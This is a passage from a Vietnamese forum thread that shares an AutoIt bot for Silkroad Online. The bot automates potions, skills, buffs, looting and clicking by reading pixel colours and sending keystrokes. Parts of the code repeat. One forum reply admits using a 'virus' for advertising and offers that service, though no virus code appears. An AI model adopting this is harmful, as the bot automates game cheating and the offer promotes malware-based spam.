$keyHeal = IniRead("auto.ini","AutoPot","HPkeyHeal","7")
$HPdeg = IniRead("auto.ini","AutoPot","HPdegree",25)
$MPdeg = IniRead("auto.ini","AutoPot","MPdegree",30)
$HPdegHeal = IniRead("auto.ini","AutoPot","HPdegreeHeal",20)
For $i = 0 To $att_nums-1
$att_skill[$i][0] = IniRead("auto.ini","AutoSkill","skill_Att_Key"& $i,"none")
$att_skill[$i][1] = IniRead("auto.ini","AutoSkill","skill_Att_Delay"& $i,500)
Next
For $i = 0 To $buff_nums-1
$buff_skill[$i][0] = IniRead("auto.ini","AutoSkill","skill_Buff_Key"& $i,"none")
$buff_skill[$i][1] = IniRead("auto.ini","AutoSkill","skill_Buff_Delay"& $i,500)
Next
EndFunc

Func writeIni()
Local $i
IniWrite("auto.ini","AutoPot","AutoLoot",$auto_loot)
IniWrite("auto.ini","AutoPot","AutoPill",$auto_pill)
IniWrite("auto.ini","AutoPot","AutoHeal",$auto_heal)
IniWrite("auto.ini","AutoSkill","AutoBuff",$auto_buff)
IniWrite("auto.ini","AutoPot","HPkey",$keyHP)
IniWrite("auto.ini","AutoPot","MPkey",$keyMP)
IniWrite("auto.ini","AutoPot","Pillkey",$keyPill)
IniWrite("auto.ini","AutoPot","HPkeyHeal",$keyHeal)
IniWrite("auto.ini","AutoPot","HPdegree",$HPdeg)
IniWrite("auto.ini","AutoPot","MPdegree",$MPdeg)
IniWrite("auto.ini","AutoPot","HPdegreeHeal",$HPdegHeal)
For $i = 0 To $att_nums-1
IniWrite("auto.ini","AutoSkill","skill_Att_Key"& $i,$att_skill[$i][0])
Next
For $i = 0 To $buff_nums-1
IniWrite("auto.ini","AutoSkill","skill_Buff_Key"& $i,$buff_skill[$i][0])
Next
For $i = 0 To $att_nums-1
IniWrite("auto.ini","AutoSkill","skill_Att_Delay"& $i,$att_skill[$i][1])
Next
For $i = 0 To $att_nums-1
IniWrite("auto.ini","AutoSkill","skill_Buff_Delay"& $i,$buff_skill[$i][1])
Next
EndFunc

; ----------------------------------------------------------------------------
; Show GUI (do not change anything) ------------------------------------------
; ----------------------------------------------------------------------------
Func showGUI()

Local $i,$row_y
Local $gui_combo_skill_key[$att_nums],$gui_combo_buff_key[$buff_nums]
Local $gui_input_skill_delay[$att_nums],$gui_input_buff_delay[$buff_nums]
Local $gui_updown_skill[$att_nums],$gui_updown_buff[$buff_nums]
Local $gui_label_gp[9]
Local $state_temp

; Application is still in use
;If ($gui_avail == True) Then
; Return
;EndIf
;$gui_avail = True

Local $gui_hWnd = GUICreate($whatis & " " & $version,320, 350)
Local $sro_folder = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Joymax\Silkroad", "InstallPath")
If Not @error Then
GUISetIcon($sro_folder & "\Silkroad.ico", 0, $gui_hWnd)
EndIf

$gui_help_text = "AutoPot Application " & $version & @CRLF _
& @CRLF _
&"Press F5 to turn On/Off autoPot" & @CRLF _
&"Press F6 to turn On/Off autoSkill" & @CRLF _
&"Press F10 to fast terminate SRO" & @CRLF _
&"Press Ctrl + F1 to turn On/Off Help" & @CRLF _
&"Press Ctrl + F2 to make application get focus" & @CRLF _
&"Press F7 to turn On/Off auto Loot" & @CRLF _
&"Press F8 to turn On/Off auto Click" & @CRLF _
&"Press Ctrl + q to terminate Auto Pot" & @CRLF _
& @CRLF _
&"News:" & @CRLF _
&"+ Can be use " & $att_nums & " skill attack and " & $buff_nums & " skill buff" & @CRLF _
&"+ Can be use two skill tables like F1 and F2" & @CRLF _
& @CRLF _
&"Errors:" & @CRLF _
&"+ Also this autoPot have error with auto use skill when you click a NPC" & @CRLF _
&"+ Some time, autoPot get error with change from window mode to full screen, you only can use auto pot and can't be use auto attack, this time you must reset autoPot or/and reset SRO" & @CRLF _
&"+ And, this application use hook keyboard to send key to SRO, and when time of attack skill and buff skill run out, it will send key to SRO, so it is not intelligent enough for re-use skill when it miss or not try to send key to chat window, so please set the time of skill pass by 2 second and try not chat when buff or skill is in use" & @CRLF _
&"+ And the last one, skill which is just use one time, it still avalble when you set it to the first skill list, it will do what you want ;)" & @CRLF _
& @CRLF _
&"==== Hope you all fun with SRO ====" & @CRLF _
&"Author: Truong Son <teentitan1986@gmail.com>"

; Make GUI:
Local $gui_tab = GUICtrlCreateTab(5,5,310,300)

; --------------------------------------------------------------------------
; Tab AutoPot
; --------------------------------------------------------------------------
Local $gui_tab_autoPot = GUICtrlCreateTabItem("Auto Pot")

$row_y = 35
$gui_label_gp[0] = GuiCtrlCreateLabel("Auto use HP pot:", 20, $row_y)
$row_y += 20
Local $gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_HP_key = GuiCtrlCreateCombo("", 50, $row_y,60)
Local $gui_input_HP_deg = GuiCtrlCreateInput($HPdeg, 120, $row_y, 40)
Local $gui_updown_HP_deg = GUICtrlCreateUpDown($gui_input_HP_deg)
$gui_label = GuiCtrlCreateLabel("%", 170, $row_y, 10)
$row_y += 30
$gui_label_gp[1] = GuiCtrlCreateLabel("Auto use MP pot:", 20, $row_y)
$row_y += 20
$gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_MP_key = GuiCtrlCreateCombo("", 50, $row_y, 60)
Local $gui_input_MP_deg = GuiCtrlCreateInput($MPdeg, 120, $row_y, 40)
Local $gui_updown_MP_deg = GUICtrlCreateUpDown($gui_input_MP_deg)
$gui_label = GuiCtrlCreateLabel("%", 170, $row_y, 10)
$row_y += 25
Local $gui_check_Pill = GuiCtrlCreateCheckbox("Auto use Pill:", 20, $row_y,210)
$row_y += 25
$gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_Pill_key = GuiCtrlCreateCombo("", 50, $row_y, 60)
$row_y += 30
Local $gui_check_autoLoot = GuiCtrlCreateCheckbox("Auto loot (pick up) item", 20, $row_y)
$row_y += 30
Local $gui_check_Heal = GuiCtrlCreateCheckbox("Auto use skill to restore HP", 20, $row_y)
$row_y += 25
$gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_Heal_key = GuiCtrlCreateCombo("", 50, $row_y, 60)
Local $gui_input_Heal_deg = GuiCtrlCreateInput($HPdegHeal, 120, $row_y, 40)
Local $gui_updown_MP_deg = GUICtrlCreateUpDown($gui_input_Heal_deg)
$gui_label = GuiCtrlCreateLabel("%", 170, $row_y, 10)

; --------------------------------------------------------------------------
; Tab AutoSkill
; --------------------------------------------------------------------------
Local $gui_tab_autoSkill = GUICtrlCreateTabItem("Auto Skill")

$row_y = 35
$gui_label_gp[2] = GuiCtrlCreateLabel("Auto use skill attack:", 20, $row_y)
$row_y += 20
$gui_label_gp[3] = GuiCtrlCreateLabel("Skill attack list:", 20, $row_y)
$gui_label_gp[4] = GuiCtrlCreateLabel("Waiting time: (0 = just use 1 time)", 150, $row_y)
For $i=0 To $att_nums-1
$row_y += 30
Local $gui_label = GuiCtrlCreateLabel("Skill " & ($i+1), 20, $row_y)
$gui_combo_skill_key[$i] = GuiCtrlCreateCombo("", 70, $row_y, 60)
$gui_input_skill_delay[$i] = GuiCtrlCreateInput($att_skill[$i][1], 160, $row_y, 60)
$gui_updown_skill[$i] = GUICtrlCreateUpDown($gui_input_skill_delay[$i])
$gui_label_gp[5] = GuiCtrlCreateLabel("ms", 230, $row_y)
Next

; --------------------------------------------------------------------------
; Tab AutoBuff
; --------------------------------------------------------------------------
Local $gui_tab_autoBuff = GUICtrlCreateTabItem("Auto Buff")

$row_y = 30
Local $gui_check_autobuff = GUICtrlCreateCheckbox("Auto use skill buff:", 20, $row_y)
$row_y += 25
$gui_label_gp[6] = GuiCtrlCreateLabel("Skill buff list:", 20, $row_y,160)
$gui_label_gp[7] = GuiCtrlCreateLabel("Waiting time: (0 = just use 1 time)", 150, $row_y)
For $i=0 To $buff_nums-1
$row_y += 30
Local $gui_label = GuiCtrlCreateLabel("Skill " & ($i+1), 20, $row_y)
$gui_combo_buff_key[$i] = GuiCtrlCreateCombo("", 70, $row_y, 60)
$gui_input_buff_delay[$i] = GuiCtrlCreateInput($buff_skill[$i][1], 160, $row_y, 60)
$gui_updown_buff[$i] = GUICtrlCreateUpDown($gui_input_buff_delay[$i])
$gui_label_gp[8] = GuiCtrlCreateLabel("seconds", 230, $row_y)
Next

; --------------------------------------------------------------------------
; Tab Help
; --------------------------------------------------------------------------
Local $gui_tab_Help = GUICtrlCreateTabItem("Help")

Local $gui_edit_help = GUICtrlCreateEdit($gui_help_text, 20, 40, 280, 250, $ES_READONLY + $WS_VSCROLL)

; --------------------------------------------------------------------------
; End Tabs
; --------------------------------------------------------------------------
Local $gui_tab_end = GUICtrlCreateTabItem("")

; --------------------------------------------------------------------------
; Buttons
; --------------------------------------------------------------------------
Local $gui_butt_save = GUICtrlCreateButton("Save",20,310,70,35)
Local $gui_butt_exit = GUICtrlCreateButton("Exit",220,310,70,35)

#cs
; Set font -----------------------------------------------------------------
; who need to set font when use english ?
For $i=0 To UBound($gui_label_gp)-1
GUICtrlSetFont($gui_label_gp[$i], 6, 400, 0, "VK Sans Serif")
Next
GUICtrlSetFont($gui_check_Pill, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_check_autoLoot, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_check_Heal, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_check_autobuff, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_edit_help, 6, 400, 0, "VK Sans Serif")
#ce

; System config value ------------------------------------------------------
$state_temp = _Iif($auto_loot == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_autoLoot,$state_temp)
$state_temp = _Iif($auto_pill == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_Pill,$state_temp)
$state_temp = _Iif($auto_heal == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_Heal,$state_temp)
$state_temp = _Iif($auto_buff == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_autobuff,$state_temp)

GUICtrlSetData($gui_combo_HP_key,$short_key_2,$keyHP)
GUICtrlSetData($gui_combo_MP_key,$short_key_2,$keyMP)
GUICtrlSetData($gui_combo_Pill_key,$short_key_2,$keyPill)
GUICtrlSetData($gui_combo_Heal_key,$short_key_2,$keyHeal)

For $i=0 To $att_nums-1
GUICtrlSetData($gui_combo_skill_key[$i],$short_key_2,$att_skill[$i][0])
Next
For $i=0 To $buff_nums-1
GUICtrlSetData($gui_combo_buff_key[$i],$short_key,$buff_skill[$i][0])
Next

GuiSetState(@SW_SHOW)

While (1)

$msg = GUIGetMsg()
Select
Case $msg = $gui_butt_save
$auto_loot = (GUICtrlRead($gui_check_autoloot) = $GUI_CHECKED)
$auto_pill = (GUICtrlRead($gui_check_Pill) = $GUI_CHECKED)
$auto_heal = (GUICtrlRead($gui_check_Heal) = $GUI_CHECKED)
$auto_buff = (GUICtrlRead($gui_check_autobuff) = $GUI_CHECKED)
$auto_heal = (GUICtrlRead($gui_check_Heal) = $GUI_CHECKED)
$keyHP = GUICtrlRead($gui_combo_HP_key)
$keyMP = GUICtrlRead($gui_combo_MP_key)
$keyPill = GUICtrlRead($gui_combo_Pill_key)
$keyHeal = GUICtrlRead($gui_combo_Heal_key)
$HPdeg = GUICtrlRead($gui_input_HP_deg)
$MPdeg = GUICtrlRead($gui_input_MP_deg)
$HPdegHeal = GUICtrlRead($gui_input_Heal_deg)

For $i=0 To $att_nums-1
$att_skill[$i][0] = GUICtrlRead($gui_combo_skill_key[$i])
$att_skill[$i][1] = GUICtrlRead($gui_input_skill_delay[$i])
Next

For $i=0 To $buff_nums-1
$buff_skill[$i][0] = GUICtrlRead($gui_combo_buff_key[$i])
$buff_skill[$i][1] = GUICtrlRead($gui_input_buff_delay[$i])
Next

For $i=0 To ($att_nums - 1)
$att_skill[$i][4] = TimerInit()
$att_skill[$i][2] = 1
Next

For $i=0 To ($buff_nums - 1)
$buff_skill[$i][4] = TimerInit()
$buff_skill[$i][2] = 1
Next

writeIni()
Case $msg = $GUI_EVENT_CLOSE
ExitLoop
Case $msg = $gui_butt_exit
terminateIt()
EndSelect

mainLoop()
WEnd
GUIDelete()
;$gui_avail = False
; Exit 0
EndFunc

cái nè cho vào notepad save dưới đuôi .ini nè
[AutoPot]
AutoLoot=False
AutoPill=False
AutoHeal=False
HPkey=none
MPkey=none
Pillkey=none
HPkeyHeal=none
HPdegree=30
MPdegree=30
HPdegreeHeal=20
[AutoSkill]
AutoBuff=True
skill_Att_Key0=1
skill_Att_Key1=2
skill_Att_Key2=3
skill_Att_Key3=4
skill_Att_Key4=5
skill_Att_Key5=none
skill_Att_Key6=none
skill_Buff_Key0=F2-1
skill_Buff_Key1=F2-2
skill_Buff_Key2=F2-3
skill_Buff_Key3=F2-4
skill_Buff_Key4=F2-5
skill_Buff_Key5=none
skill_Buff_Key6=none
skill_Att_Delay0=5
skill_Att_Delay1=5
skill_Att_Delay2=5
skill_Att_Delay3=5
skill_Att_Delay4=5
skill_Att_Delay5=5
skill_Att_Delay6=5
skill_Buff_Delay0=600
skill_Buff_Delay1=610
skill_Buff_Delay2=615
skill_Buff_Delay3=620
skill_Buff_Delay4=625
skill_Buff_Delay5=60
skill_Buff_Delay6=60

Test_aveugle
05-05-2008, 07:33 PM
haha, virus muôn dạng chứ ko có một dạng đâu, mà tui nói rồi mà, tui dùng đoạn code trên mục đích quảng cáo chơi thôi, ai nhờ thì làm ^^ và trong lúc quảng cáo, tôi đã xóa bớt những lệnh làm lây lan hay sinh sôi rồi, đồng thời thời gian send cũng dc giảm nhiều nữa..............nó chỉ là để quảng cáo thôi, nó chưa là virus đâu :2T-khicon-(32):Ai cần quảng cáo gì pm tôi là dc ^^

dtphong1603
05-05-2008, 10:28 PM
nó khá hay các bác nghiên cứu viết auto cho mấy game mới ý chứ viết virút hại người ta bị bắt vô bot thì chết:big_smile:
ah nói thêm con vi rút mà bác chủ topic hok tác dụng ở máy của em đâu :2T-khicon-(106):
#cs ----------------------------------------------------------------------------

AutoIt Version: 3.1.1.0
Author: Truong Son <teentitan1986@gmail.com>
Auto Pot version: 1.2 rc4
Code Name: Hunter
Descript:
Auto Pot application for SRO
Chuc nang:
Auto pot when press F5
Auto loot (use g short key) (don't auto loot when attacking)
Quick terminate SRO by press F10
Auto use skill attack when target mob by press F6
Auto use skill buff by press F6
#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <GuiConstants.au3>
#include <Misc.au3>

#NoTrayIcon

; ----------------------------------------------------------------------------
; System configs (don't change anything) ---------------------------------
; ----------------------------------------------------------------------------
Const $version = "v1.2 RC4"
Const $author = "Truong Son <teentitan1986@gmail.com>"
Const $whatIs = "Auto Pot"

Const $keyLoot = "g" ; short cut key to auto loot
Const $loop_delay = 250
Const $click_delay = 1000
Const $short_key = "F1-1|F1-2|F1-3|F1-4|F1-5|F1-6|F1-7|F1-8|F1-9|F1-0|F2-1|F2-2|F2-3|F2-4|F2-5|F2-6|F2-7|F2-8|F2-9|F2-0|x|none"
Const $short_key_2 = "1|2|3|4|5|6|7|8|9|0|x|none"

Const $buff_nums = 7
Const $att_nums = 7

Const $max_bodem = 7

; Mob information -----------------------------------------------------------
; Check if mob's HP bar is still availble
Const $HPmobcolor = 0xFFC6C6
Const $HPmobcoord[2] = [76,45]

#cs
; mob's HP check system, if HP of mob is too low, skill two will be ignore
; absolute not use
Const $HPmobcolor_Low = 0xFFC6C6
Const $HPmobcoord800_low[2] = [337,555] ; HP mob is 5%
Const $HPmobcoord1024_low[2] = [449,723]
Dim $HPmobcoord_low[2]
#ce

; HP / MP player info --------------------------------------------
Const $baseMincoordX = 84 ; left coord
Const $baseWidthcoordX = 124 ; HP/MP bar long

Const $baseHPcoordY = 32 ; top coord HP

Const $baseMPcoordY = 48 ; top coord MP

Const $baseHPcolor = 0x68040F
Const $baseMPcolor = 0x0F1C4C

; Poisoned info --------------------------------------------------
Const $poison_coord[2][2] = [[218,59],[218,61]]
Const $poison_base_color1 = 0x84E7FF
Const $poison_base_color2 = 0x000000

; ----------------------------------------------------------------------------
; auto system config ---------------------------------------------------------
; ----------------------------------------------------------------------------
Dim $auto_loot = False ; auto Loot
Dim $auto_pot = False ; auto Pot
Dim $auto_att = False ; auto skill attack
Dim $auto_buff = False ; auto skill buff
Dim $auto_pill = True ; auto pill
Dim $auto_heal = False ; auto skill restore HP
Dim $auto_click = False ; auto mouse click
Dim $isAttacking = False ; is attacking mob
;Dim $isLowHP = False ; check if mob is too low HP
Dim $showHelp = False ; show help tooltip

; ----------------------------------------------------------------------------
; Key system (temp) -------------------------------------------
; ----------------------------------------------------------------------------
Dim $keyHP = "8"
Dim $keyMP = "9"
Dim $keyPill = "0"
Dim $keyHeal = "7"

; ----------------------------------------------------------------------------
; Temp values ----------------------------------------------------
; ----------------------------------------------------------------------------
;Dim $HPcolor ; HP bar color
;Dim $MPcolor ; MP bar color

Dim $HPdeg = 25 ; HP bar degree
Dim $MPdeg = 30 ; MP bar degree
Dim $HPdegHeal = 50 ; HP bar heal skill degree

Dim $click_init ; time clicking init

; array to store client position
Dim $arr_client_pos[4]

;Dim $gui_avail = False
;Dim $show_tool_tip = False

; ----------------------------------------------------------------------------
; Skill shedule system -------------------------------------------------------
; ----------------------------------------------------------------------------
; att_skill and buff_skill list info:
; [0] skill key (table F1 with attack skill and table F1 and F2 with buff skill)
; [1] skill delay (use mili second)
; [2] skill use order:
; -1: don't use again
; 0: is waiting to use
; 1: will be use
; [3] store skill color (not use this time)
; [4] time wait still first time
Dim $att_skill[$att_nums][5]
Dim $buff_skill[$buff_nums][5]

; ----------------------------------------------------------------------------
; Main application -----------------------------------------------------------
; ----------------------------------------------------------------------------
readIni()
setKeys()
showGUI()

; ----------------------------------------------------------------------------
; Functions ------------------------------------------------------------------
; ----------------------------------------------------------------------------
Func setKeys()
HotKeySet("{F5}","toggleAutoPot")
HotKeySet("{F6}","toggleAutoAtt")
HotKeySet("{F10}","killSro")
;HotKeySet("{F7}","killSro")
HotKeySet("^q","terminateIt")
HotKeySet("^{F1}","toggleshowHelp")
HotKeySet("^{F2}","toggleshowApp")
HotKeySet("{F7}","toogleAutopickup")
HotKeySet("{F8}","toogleAutoClick")
EndFunc

; ----------------------------------------------------------------------------
Func toggleAutoPot()
$auto_pot = Not $auto_pot
ToolTip("AutoPot is now " & $auto_pot,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc

Func toggleAutoAtt()
checkClientPos()
$auto_att = Not $auto_att
ToolTip("Auto Attack is now " & $auto_att,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc

Func toogleAutopickup()
$auto_loot = Not $auto_loot
ToolTip("Auto Loot is now " & $auto_loot,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc

Func killSro()
$sro_hWnd = ProcessExists("SRO_Client.exe")
If $sro_hWnd Then
ProcessClose($sro_hWnd)
EndIf
EndFunc

Func terminateIt()
Exit 0
EndFunc

Func toggleshowHelp()
$showHelp = Not $showHelp
checkClientPos()
Local $help_text = "Help:" & @CRLF _
&"Press F5 to turn On/Off auto Pot" & @CRLF _
&"Press F6 to turn On/Off auto Skill" & @CRLF _
&"Press F10 to fast terminate SRO" & @CRLF _
&"Press Ctrl + F1 to turn On/Off Help" & @CRLF _
&"Press Ctrl + F2 to application get focus" & @CRLF _
&"Press F7 to turn On/Off auto Loot" & @CRLF _
&"Press F8 to turn On/Off auto Click" & @CRLF _
&"Press Ctrl + q to terminate Auto Pot"
If ($showHelp == True) Then
ToolTip($help_text,$arr_client_pos[2] - 195,0)
Else
ToolTip("",0,0)
EndIf
EndFunc

Func toggleshowApp()
If Not WinActive($whatis & " " & $version) Then
WinActivate($whatis & " " & $version)
ElseIf Not WinActive("SRO_Client") Then
WinActivate("SRO_Client")
EndIf
EndFunc

Func toogleAutoClick()
$auto_click = Not $auto_click
ToolTip("Auto Click is now " & $auto_click,0,0)
Sleep(500)
ToolTip("",0,0)
EndFunc
; --------------------------------------------------------------------------
; Main Loop (do all here) --------------------------------------------------
; --------------------------------------------------------------------------
Func mainLoop()
Local $bodem,$i,$auto_pot_timer

For $i=0 To ($att_nums - 1)
$att_skill[$i][4] = TimerInit()
$att_skill[$i][2] = 1
Next
For $i=0 To ($buff_nums - 1)
$buff_skill[$i][4] = TimerInit()
$buff_skill[$i][2] = 1
Next

$click_init = TimerInit()

While WinActive("SRO_Client")
; /Todo: search if activing sro
WinWaitActive("SRO_Client")

checkTargeted() ; check what ever targeted, faster cast skill

If ($auto_click == True) Then
If (TimerDiff($click_init) > $click_delay) And ($isAttacking <> True)Then
MouseClick("left")
$click_init = TimerInit()
EndIf
EndIf

If ($auto_att == True) Then
For $bodem=0 To $att_nums-1
If ($att_skill[$bodem][0] <> "none") And ($isAttacking == True) Then
If ($att_skill[$bodem][1] < TimerDiff($att_skill[$bodem][4])) And ($att_skill[$bodem][2]<>-1) Then
Send("{F1}")
Send($att_skill[$bodem][0])
$att_skill[$bodem][4] = TimerInit()
If ($att_skill[$bodem][1] == 0) Then
$att_skill[$bodem][2] = -1
EndIf
EndIf
EndIf
Next
EndIf

If ($auto_pill == True) And ($auto_pot == True) Then
autoPill()
EndIf

If ($auto_pot == True) Then
autoPot()
EndIf

If ($auto_buff == True) And ($auto_att == True) And ($isAttacking == False) Then
For $bodem = 0 To $buff_nums-1
If ($buff_skill[$bodem][0] <> "none") Then
If ($buff_skill[$bodem][1]+2 < TimerDiff($buff_skill[$bodem][4])/1000) And ($buff_skill[$bodem][2]<>-1) Then
Send("{" & StringLeft($buff_skill[$bodem][0],2) & "}")
Sleep(20)
Send(StringRight($buff_skill[$bodem][0],1))
Sleep(20)
$buff_skill[$bodem][4] = TimerInit()
If ($buff_skill[$bodem][1] == 0 )Then
$buff_skill[$bodem][1] = -1
EndIf
Send("{F1}")
EndIf
EndIf
Next
EndIf

If ($auto_heal == True) And ($isAttacking == False) Then
autoHeal()
EndIf

If ($auto_loot == True) And ($isAttacking == False) Then
Send("g")
EndIf

Sleep($loop_delay)

WEnd

EndFunc

; --------------------------------------------------------------------------
Func checkClientPos()
If WinActive("SRO_Client") Then
$arr_client_pos = WinGetPos("SRO_Client")
Else
$arr_client_pos[0] = 0
$arr_client_pos[1] = 0
$arr_client_pos[2] = 800
$arr_client_pos[3] = 600
EndIf
EndFunc

; --------------------------------------------------------------------------
; Auto Pot:
; Check HP and MP bar color
; If color value of HP and MP bar is not equal color which setted up
; --------------------------------------------------------------------------
Func autoPot()
; My old stuff
;$HPcolor = PixelGetColor(Ceiling($baseWidthcoordX * ($HPdeg / 100))+$baseMincoordX+$arr_client_pos[0],$baseHPcoordY+$arr_client_pos[1])
;$MPcolor = PixelGetColor(Ceiling($baseWidthcoordX * ($MPdeg / 100))+$baseMincoordX+$arr_client_pos[0],$baseMPcoordY+$arr_client_pos[1])

; My old stuff
;$HPcolor = PixelGetColor(Ceiling(118 * ($HPdeg / 100))+87,34)
;$MPcolor = PixelGetColor(Ceiling(118 * ($MPdeg / 100))+87,51)

;My old stuff
;If (($HPcolor<>0x93000E) And ($HPcolor<>0x92000E) And ($HPcolor<>0x91000E) And ($HPcolor<>0x90000E) And ($keyHP <> "none")) Then
; Send($keyHP)
;EndIf
;If (($MPcolor<>0x1C338C) And ($MPcolor<>0x1C338B) And ($MPcolor<>0x1C338A) And ($MPcolor<>0x1C348A) And ($keyMP <> "none")) Then
; Send($keyMP)
;EndIf

; LMTruong stuff
$coord = PixelSearch($baseWidthcoordX * ($HPdeg / 100)+$baseMincoordX, $baseHPcoordY, $baseWidthcoordX * ($HPdeg / 100)+$baseMincoordX, $baseHPcoordY, $baseHPcolor, 10, 1)
If @error Then
Send($keyHP)
EndIf
$coord = PixelSearch($baseWidthcoordX * ($MPdeg / 100)+$baseMincoordX, $baseMPcoordY, $baseWidthcoordX * ($MPdeg / 100)+$baseMincoordX, $baseMPcoordY, $baseMPcolor, 10, 1)
If @error Then
Send($keyMP)
EndIf
; ~ end
EndFunc

; --------------------------------------------------------------------------
Func autoHeal()
$coord = PixelSearch($baseWidthcoordX * ($HPdegHeal / 100)+$baseMincoordX, $baseHPcoordY, $baseWidthcoordX * ($HPdegHeal / 100)+$baseMincoordX, $baseHPcoordY, $baseHPcolor, 10, 1)
If @error Then
Send($keyHeal)
EndIf
EndFunc

; Auto Pill ----------------------------------------------------------------

Func autoPill()
$poison_color1 = PixelGetColor($poison_coord[0][0],$poison_coord[0][1])
$poison_color2 = PixelGetColor($poison_coord[1][0],$poison_coord[1][1])
If ($poison_base_color1 = $poison_color1) And ($poison_base_color2 = $poison_color2) Then
Send($keyPill)
EndIf
EndFunc

; --------------------------------------------------------------------------
; Check if mob is targeted
; LMTruong stuff
; @return Boolean True: mob is targetted, False: mob is not targetted
; --------------------------------------------------------------------------
Func checkTargeted()
If PixelGetColor($arr_client_pos[2]/2 - $HPmobcoord[0], $HPmobcoord[1]) = $HPmobcolor Then
;If (PixelGetColor(324,45) == $HPmobcolor) Then
$isAttacking = True
Return True
Else
For $i=0 To $att_nums-1
$att_skill[$i][2] = 1
Next
$isAttacking = False
Return False
EndIf
EndFunc
; ~end

#cs
; @Todo: check HP of mob left
; return True: mob is weaked False:mob still too strong
; This version does not support this stuff
Func checkLowHP()
If PixelGetColor($HPmobcoord_low[0],$HPmobcoord_low[1]) = $HPmobcolor_Low Then
Return False
Else
Return True
EndIf
EndFunc
#ce

; ----------------------------------------------------------------------------
Func readIni()
Local $i
$auto_loot = IniRead("auto.ini","AutoPot","AutoLoot",False)
$auto_pill = IniRead("auto.ini","AutoPot","AutoPill",False)
$auto_heal = IniRead("auto.ini","AutoPot","AutoHeal",False)
$auto_buff = IniRead("auto.ini","AutoSkill","AutoBuff",False)
$keyHP = IniRead("auto.ini","AutoPot","HPkey","1")
$keyMP = IniRead("auto.ini","AutoPot","MPkey","4")
$keyPill = IniRead("auto.ini","AutoPot","Pillkey","0")
$keyHeal = IniRead("auto.ini","AutoPot","HPkeyHeal","7")
$HPdeg = IniRead("auto.ini","AutoPot","HPdegree",25)
$MPdeg = IniRead("auto.ini","AutoPot","MPdegree",30)
$HPdegHeal = IniRead("auto.ini","AutoPot","HPdegreeHeal",20)
For $i = 0 To $att_nums-1
$att_skill[$i][0] = IniRead("auto.ini","AutoSkill","skill_Att_Key"& $i,"none")
$att_skill[$i][1] = IniRead("auto.ini","AutoSkill","skill_Att_Delay"& $i,500)
Next
For $i = 0 To $buff_nums-1
$buff_skill[$i][0] = IniRead("auto.ini","AutoSkill","skill_Buff_Key"& $i,"none")
$buff_skill[$i][1] = IniRead("auto.ini","AutoSkill","skill_Buff_Delay"& $i,500)
Next
EndFunc

Func writeIni()
Local $i
IniWrite("auto.ini","AutoPot","AutoLoot",$auto_loot)
IniWrite("auto.ini","AutoPot","AutoPill",$auto_pill)
IniWrite("auto.ini","AutoPot","AutoHeal",$auto_heal)
IniWrite("auto.ini","AutoSkill","AutoBuff",$auto_buff)
IniWrite("auto.ini","AutoPot","HPkey",$keyHP)
IniWrite("auto.ini","AutoPot","MPkey",$keyMP)
IniWrite("auto.ini","AutoPot","Pillkey",$keyPill)
IniWrite("auto.ini","AutoPot","HPkeyHeal",$keyHeal)
IniWrite("auto.ini","AutoPot","HPdegree",$HPdeg)
IniWrite("auto.ini","AutoPot","MPdegree",$MPdeg)
IniWrite("auto.ini","AutoPot","HPdegreeHeal",$HPdegHeal)
For $i = 0 To $att_nums-1
IniWrite("auto.ini","AutoSkill","skill_Att_Key"& $i,$att_skill[$i][0])
Next
For $i = 0 To $buff_nums-1
IniWrite("auto.ini","AutoSkill","skill_Buff_Key"& $i,$buff_skill[$i][0])
Next
For $i = 0 To $att_nums-1
IniWrite("auto.ini","AutoSkill","skill_Att_Delay"& $i,$att_skill[$i][1])
Next
For $i = 0 To $att_nums-1
IniWrite("auto.ini","AutoSkill","skill_Buff_Delay"& $i,$buff_skill[$i][1])
Next
EndFunc

; ----------------------------------------------------------------------------
; Show GUI (do not change anything) ------------------------------------------
; ----------------------------------------------------------------------------
Func showGUI()

Local $i,$row_y
Local $gui_combo_skill_key[$att_nums],$gui_combo_buff_key[$buff_nums]
Local $gui_input_skill_delay[$att_nums],$gui_input_buff_delay[$buff_nums]
Local $gui_updown_skill[$att_nums],$gui_updown_buff[$buff_nums]
Local $gui_label_gp[9]
Local $state_temp

; Application is still in use
;If ($gui_avail == True) Then
; Return
;EndIf
;$gui_avail = True

Local $gui_hWnd = GUICreate($whatis & " " & $version,320, 350)
Local $sro_folder = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Joymax\Silkroad", "InstallPath")
If Not @error Then
GUISetIcon($sro_folder & "\Silkroad.ico", 0, $gui_hWnd)
EndIf

$gui_help_text = "AutoPot Application " & $version & @CRLF _
& @CRLF _
&"Press F5 to turn On/Off autoPot" & @CRLF _
&"Press F6 to turn On/Off autoSkill" & @CRLF _
&"Press F10 to fast terminate SRO" & @CRLF _
&"Press Ctrl + F1 to turn On/Off Help" & @CRLF _
&"Press Ctrl + F2 to make application get focus" & @CRLF _
&"Press F7 to turn On/Off auto Loot" & @CRLF _
&"Press F8 to turn On/Off auto Click" & @CRLF _
&"Press Ctrl + q to terminate Auto Pot" & @CRLF _
& @CRLF _
&"News:" & @CRLF _
&"+ Can be use " & $att_nums & " skill attack and " & $buff_nums & " skill buff" & @CRLF _
&"+ Can be use two skill tables like F1 and F2" & @CRLF _
& @CRLF _
&"Errors:" & @CRLF _
&"+ Also this autoPot have error with auto use skill when you click a NPC" & @CRLF _
